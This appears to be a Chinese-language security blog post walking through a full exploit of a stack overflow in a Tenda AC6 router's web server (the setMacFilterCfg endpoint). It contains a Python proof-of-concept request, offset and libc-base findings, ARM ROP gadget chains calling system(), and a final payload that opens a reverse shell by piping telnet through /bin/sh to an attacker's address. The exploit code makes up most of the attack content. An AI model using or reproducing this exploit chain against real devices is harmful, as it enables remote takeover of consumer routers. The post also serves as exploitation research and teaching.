{"id":1240,"date":"2025-08-14T16:31:54","date_gmt":"2025-08-14T08:31:54","guid":{"rendered":"http:\/\/8.141.27.105\/?p=1240"},"modified":"2025-08-14T23:46:26","modified_gmt":"2025-08-14T15:46:26","slug":"%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/","title":{"rendered":"\u3010\u4ece\u6808\u6ea2\u51fa\u5230RCE\u3011ARM\u67b6\u6784\u8def\u7531\u5668ROP\u5b9e\u6218"},"content":{"rendered":"\n<p>\u9996\u5148\u6211\u4eec\u62ff\u5230\u4e86\u4e00\u4e2a\u8def\u7531\u5668\u7684\u6808\u6ea2\u51faPOC\uff0c\u6f0f\u6d1e\u8be6\u60c5\u5c31\u4e0d\u5728\u8fd9\u8bf4\u4e86\uff0c\u653e\u5728\u4e86github\u4e0a\uff1a<a href=\"https:\/\/github.com\/ZZ2266\/.github.io\/tree\/main\/Tenda%20AC6%20overflow\"><strong>my github<\/strong><\/a><\/p>\n\n\n\n<p>poc\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nimport requests\n\npayload = cyclic(1000) # 1000-byte cyclic pattern to overflow buffer\nurl = \"http:\/\/192.168.xxx.xxx\/goform\/setMacFilterCfg\"\ncookie = {\"Cookie\": \"password=rfl1qw\"}\ndata = {\"macFilterType\": \"black\", \"deviceList\": b\"\\r\" + payload}\nresponse = requests.post(url, cookies=cookie, data=data)\nresponse = requests.post(url, cookies=cookie, data=data) # Double POST to bypass potential checks\nprint(response.text)<\/code><\/pre>\n\n\n\n<p>\u83b7\u53d6deviceList\u53c2\u6570\u65f6\u9020\u6210\u4e86\u6ea2\u51fa\uff0c\u6211poc\u76f4\u63a5\u957f\u5ea6\u7ed9\u76841000\u3002<\/p>\n\n\n\n<p>\u628a\u6808\u6ea2\u51fa\u5347\u7ea7\u4e3aRCE\uff0c\u601d\u8def\u662f\u9996\u5148\u67e5\u770b\u5f00\u542f\u4e86\u54ea\u4e9b\u4fdd\u62a4\uff0c\u786e\u5b9a\u6ea2\u51fa\u957f\u5ea6\uff0c\u627elibc\u57fa\u5740\uff0c\u7136\u540e\u627egadgets\uff0c\u6253ROP\u94fe\u3002<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/#%E6%9F%A5%E7%9C%8B%E4%BF%9D%E6%8A%A4\" title=\"\u67e5\u770b\u4fdd\u62a4\">\u67e5\u770b\u4fdd\u62a4<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/#%E6%89%BElibc%E5%9F%BA%E5%9D%80%EF%BC%8C%E8%BF%9B%E8%80%8C%E6%89%BE%E5%87%BAsystem%E7%AD%89%E5%87%BD%E6%95%B0%E5%9C%B0%E5%9D%80\" title=\"\u627elibc\u57fa\u5740\uff0c\u8fdb\u800c\u627e\u51fasystem\u7b49\u51fd\u6570\u5730\u5740\">\u627elibc\u57fa\u5740\uff0c\u8fdb\u800c\u627e\u51fasystem\u7b49\u51fd\u6570\u5730\u5740<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/#%E6%B5%8B%E9%87%8F%E5%81%8F%E7%A7%BB\" title=\"\u6d4b\u91cf\u504f\u79fb\">\u6d4b\u91cf\u504f\u79fb<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/#ROP1\" title=\"ROP1\">ROP1<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/08\/14\/%e3%80%90%e4%bb%8e%e6%a0%88%e6%ba%a2%e5%87%ba%e5%88%b0rce%e3%80%91arm%e6%9e%b6%e6%9e%84%e8%b7%af%e7%94%b1%e5%99%a8rop%e5%ae%9e%e6%88%98\/#ROP2\" title=\"ROP2\">ROP2<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%9F%A5%E7%9C%8B%E4%BF%9D%E6%8A%A4\"><\/span>\u67e5\u770b\u4fdd\u62a4<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"174\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1241\" style=\"width:840px;height:auto\"  sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<p>arm\u67b6\u6784\uff0c\u5c0f\u7aef\u5e8f\uff0c\u5f00\u4e86NX\u6240\u4ee5\u7528shellcode\u6bd4\u8f83\u9ebb\u70e6\uff0c\u9009\u62e9ROP\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%89%BElibc%E5%9F%BA%E5%9D%80%EF%BC%8C%E8%BF%9B%E8%80%8C%E6%89%BE%E5%87%BAsystem%E7%AD%89%E5%87%BD%E6%95%B0%E5%9C%B0%E5%9D%80\"><\/span>\u627elibc\u57fa\u5740\uff0c\u8fdb\u800c\u627e\u51fasystem\u7b49\u51fd\u6570\u5730\u5740<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>pwndbg\u8c03\u8bd5\uff1a<\/p>\n\n\n\n<p>\u8def\u7531\u5668\u7ec8\u7aef\uff1asudo chroot . .\/qemu-arm-static -g 1234 .\/bin\/httpd<\/p>\n\n\n\n<p>\u8c03\u8bd5\u7ec8\u7aef\uff08\u5728pwndbg\u4e2d\u7528set\u547d\u4ee4\u8bbe\u7f6e\u597darm\u67b6\u6784\u548c\u5c0f\u7aef\u5e8f\u540e\uff09\uff1apwndbg&gt; target remote :1234<\/p>\n\n\n\n<p>\u7136\u540e\u8c03\u8bd5\u7ec8\u7aef\u5373\u53ef\u8fde\u63a5\u4e0a\uff0c\u4f7f\u7528vmmap\u547d\u4ee4\u67e5\u770b\u5185\u5b58\u5206\u5e03\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"729\" height=\"338\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1242\"  sizes=\"auto, (max-width: 729px) 100vw, 729px\" \/><\/div><\/figure>\n\n\n\n<p>\u867d\u7136\u51e0\u4e2a\u5e93\u90fd\u770b\u4e0d\u51fa\u6765\u540d\u5b57\uff0c\u4f46\u662f\u51ed\u7ecf\u9a8c\u548cida\u9006\u5411\u770b\u5e93\u7684\u5bfc\u5165\u987a\u5e8f\uff0c\u4e5f\u80fd\u5224\u65ad\u51fa\u7b2c\u4e00\u4e2a\u5c31\u662flibc.so.0\uff0c\u5373libc_base=0xff58b000<\/p>\n\n\n\n<p>system\u548cbinsh\u76f4\u63a5\u7528libc.sym+libc_base\u5373\u53ef\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%B5%8B%E9%87%8F%E5%81%8F%E7%A7%BB\"><\/span>\u6d4b\u91cf\u504f\u79fb<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>pwndbg\u7528cyclic -l\u5373\u53ef\u6d4b\u51fa\uff0c\u6ea2\u51fa\u957f\u5ea6\u4e3a176\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"301\" height=\"58\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1244\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"273\" height=\"73\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1245\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ROP1\"><\/span>ROP1<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u5728arm\u67b6\u6784\u4e2d\uff0cSP\u5bc4\u5b58\u5668\u5b58\u6808\u9876\u6307\u9488\uff08\u76f8\u5f53\u4e8ex86\u7684rsp\uff09\uff0cLR\u5bc4\u5b58\u5668\u5b58\u8fd4\u56de\u5730\u5740\uff08x86\u76f4\u63a5\u653e\u6808\u4e0a\uff0c\u6ca1\u6709\u8fd4\u56de\u5730\u5740\u5bc4\u5b58\u5668\uff09\uff0cPC\u5bc4\u5b58\u5668\u5b58\u7684\u662f\u4e0b\u4e00\u6761\u6307\u4ee4\u5730\u5740\uff08\u76f8\u5f53\u4e8ex86\u7684rip\uff09\uff0c\u524d\u56db\u4e2a\u53c2\u6570\u5730\u5740\u653e\u5728R0~R3\u8fd9\u56db\u4e2a\u5bc4\u5b58\u5668\u4e2d\u3002<\/p>\n\n\n\n<p>\u7528ROPgadget\u53ef\u4ee5\u627e\u5230\u4e0b\u8ff0gadget\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/EDGK@ZQ1UX5A76_XHVY.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"728\" height=\"296\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/EDGK@ZQ1UX5A76_XHVY.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1243\"  sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u6784\u9020\u6700\u7b80\u5355\u7684\u4e00\u6761rop\u94fe\uff1a<\/p>\n\n\n\n<p>payload2=cyclic(176)+p32(pop_r0_pc)+p32(binsh)+p32(system)<\/p>\n\n\n\n<p>\u628abinsh\u7684\u5730\u5740\u5f39\u7ed9R0\uff08\u7b2c\u4e00\u4e2a\u53c2\u6570\uff09\uff0c\u628asystem\u5730\u5740\u5f39\u7ed9pc\uff0c\u8fd9\u6837\u4e0b\u4e00\u6761\u6307\u4ee4\u5c31\u662fsystem(bin\/sh)\uff0c\u6210\u529fgetshell\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"708\" height=\"314\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1247\"  sizes=\"auto, (max-width: 708px) 100vw, 708px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662f\u8fd9\u79cdshell\u8ddf\u6211\u4eec\u4e4b\u524d\u6253pwn\u9898\u9047\u5230\u7684\u663e\u7136\u4e0d\u4e00\u6837\uff0c\u901a\u5e38pwn\u9898\u662f\u9776\u673a\u5f00\u4e86\u4e2a\u7aef\u53e3\uff0cnc\u4e0a\u53bb\u5c31\u80fd\u8fd0\u884c\u6f0f\u6d1e\u7a0b\u5e8f\uff0c\u6210\u529fgetshell\u4e86\u4e5f\u5c31\u76f8\u5f53\u4e8e\u83b7\u5f97\u4e86\u9776\u673a\u7684shell\u3002\u8fd9\u91cc\u7684\u60c5\u666f\u5e76\u4e0d\u662f\u901a\u8fc7nc\u4ea4\u4e92\uff0c\u800c\u662f\u901a\u8fc7http\u534f\u8bae\u4ea4\u4e92\uff0c\u5c31\u7b97\u6f0f\u6d1e\u7a0b\u5e8f\u88abgetshell\u4e5f\u6ca1\u529e\u6cd5\u5728\u672c\u5730\u53bb\u7528\u8fd9\u4e2ashell\uff0c\u6240\u4ee5\u9700\u8981\u53cd\u5f39shell\u3002\u4f46\u662f\u95ee\u9898\u6765\u4e86\uff0c\u8be5\u5982\u4f55\u628a\u547d\u4ee4\u5b57\u7b26\u4e32\u7684\u5730\u5740\u4f20\u7ed9R0\u5bc4\u5b58\u5668\uff1f\u4e0b\u9762\u8fdb\u5165\u7b2c\u4e8c\u6761ROP\u94fe\u5206\u6790\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ROP2\"><\/span>ROP2<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u547d\u4ee4\u5b57\u7b26\u4e32\u901a\u5e38\u53ea\u80fd\u901a\u8fc7\u8f93\u5165\u5199\u5728\u6808\u4e0a\uff0c\u6240\u4ee5\u8981\u60f3\u628a\u547d\u4ee4\u5b57\u7b26\u4e32\u7684<strong>\u5730\u5740<\/strong>\u4f20\u7ed9R0\uff0c\u5fc5\u987b\u5f97\u6709\u7c7b\u4f3cmov xxx\uff0csp\u6307\u4ee4\uff08pop\u4e0d\u884c\uff0c\u56e0\u4e3apop\u662f\u4f20\u6808\u4e0a\u7684\u503c\uff0c\u53ea\u6709mov xxx\uff0csp\u624d\u662f\u4f20\u6808\u5730\u5740\uff09\uff0cROPgadget\u641c\u4e00\u4e0b\uff0c\u6709\u4e14\u4ec5\u6709\u4e00\u4e2a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-18.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"740\" height=\"54\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/image-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1248\"  sizes=\"auto, (max-width: 740px) 100vw, 740px\" \/><\/div><\/figure>\n\n\n\n<p>\u521a\u597d\u662fmov r0,sp\uff0c\u8fd9\u6837\u5c31\u4e0d\u7528\u518d\u95f4\u63a5\u628a\u503c\u4f20\u7ed9r0\u4e86\u3002\u8be5\u6307\u4ee4\u8bb0\u4e3agadget2\u3002<\/p>\n\n\n\n<p>\u7531\u4e8e\u8be5\u6307\u4ee4\u6700\u540e\u662f blx r3\uff0c\u6240\u4ee5\u63a5\u4e0b\u6765\u8003\u8651\u5982\u4f55\u628asystem\u51fd\u6570\u5730\u5740\u4f20\u7ed9r3\uff0c\u7531\u4e8e\u6211\u4eec\u77e5\u9053\u7684\u5c31\u662fsystem\u51fd\u6570\u5730\u5740\u7684\u503c\uff0c\u6240\u4ee5\u53ef\u4ee5\u76f4\u63a5pop\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/HPER4DK2VTQ9YI3@O14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"439\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/HPER4DK2VTQ9YI3@O14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1249\"  sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u4e00\u4e2a\u975e\u5e38\u5b8c\u7f8e\u7684gadget\uff1apop{r3\uff0cpc}\uff0c\u8bb0\u4e3agadget1<\/p>\n\n\n\n<p>\u6240\u4ee5\u601d\u8def\u662f\uff1a\u4e00\u5f00\u59cb\u628a\u8fd4\u56de\u5730\u5740\u8986\u76d6\u4e3agadget1\uff0c\u7136\u540egadget1\u628asystem\u51fd\u6570\u5730\u5740pop\u7ed9r3\uff0c\u628agadget2\u5730\u5740pop\u7ed9pc\uff0c\u63a5\u4e0b\u6765\u6267\u884cgadget2\uff0cgadget2\u628a\u6b64\u65f6\u7684\u6808\u9876\u5730\u5740\uff0c\u5373\u547d\u4ee4\u5b57\u7b26\u4e32\u6240\u5728\u5904mov\u7ed9r0\u4f20\u53c2\uff0c\u7136\u540eblx\u8df3\u8f6c\u5230r3\uff08system\uff09\u6267\u884c\uff0c\u5c31\u80fd\u5b9e\u73b0system(\u547d\u4ee4)\u4e86\u3002<\/p>\n\n\n\n<p>\u5148\u8bd5\u8bd5puts\uff1a<\/p>\n\n\n\n<p>payload = cyclic(176)+p32(pop_r3_pc)+p32(puts)+p32(mov_r0)+b&#8221;mov_r0_sp_blx_pc&#8221;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/YDNH_M@22ZRHMRKSUI4P.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"437\" height=\"438\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/YDNH_M@22ZRHMRKSUI4P.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1250\"  sizes=\"auto, (max-width: 437px) 100vw, 437px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u662f\u53cd\u5f39shell\uff0c\u7531\u4e8e\u8be5\u8def\u7531\u5668\u6ca1\u6709bash\u548cnc\uff0c\u53ef\u4ee5\u7528telnet\u6216\u8005wget\u4f20\u9a6c\u7684\u65b9\u5f0f\u6765\u53cd\u5f39\uff0c\u8fd9\u91cc\u4f7f\u7528telnet\uff0c\u4e00\u4e2a\u7ec8\u7aef\u76d1\u542c5555\u7aef\u53e3\uff0c\u4e00\u4e2a\u7ec8\u7aef\u76d1\u542c6666\u7aef\u53e3\uff0c\u5206\u522b\u7528\u4e8e\u8f93\u5165\u547d\u4ee4\u548c\u56de\u663e\uff0cpayload\u4e3a\uff1a<\/p>\n\n\n\n<p>payload = cyclic(176)+p32(pop_r3_pc)+p32(system)+p32(mov_r0_sp_blx_pc)+b&#8221;telnet 192.168.xx.xxx 6666 | \/bin\/sh | telnet 192.168.xx.xxx 5555\\x00&#8243;<\/p>\n\n\n\n<p>\u6210\u529f\u53cd\u5f39shell\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/ER29_983OZGFZ6E45.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"896\" height=\"140\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/08\/ER29_983OZGFZ6E45.png\" 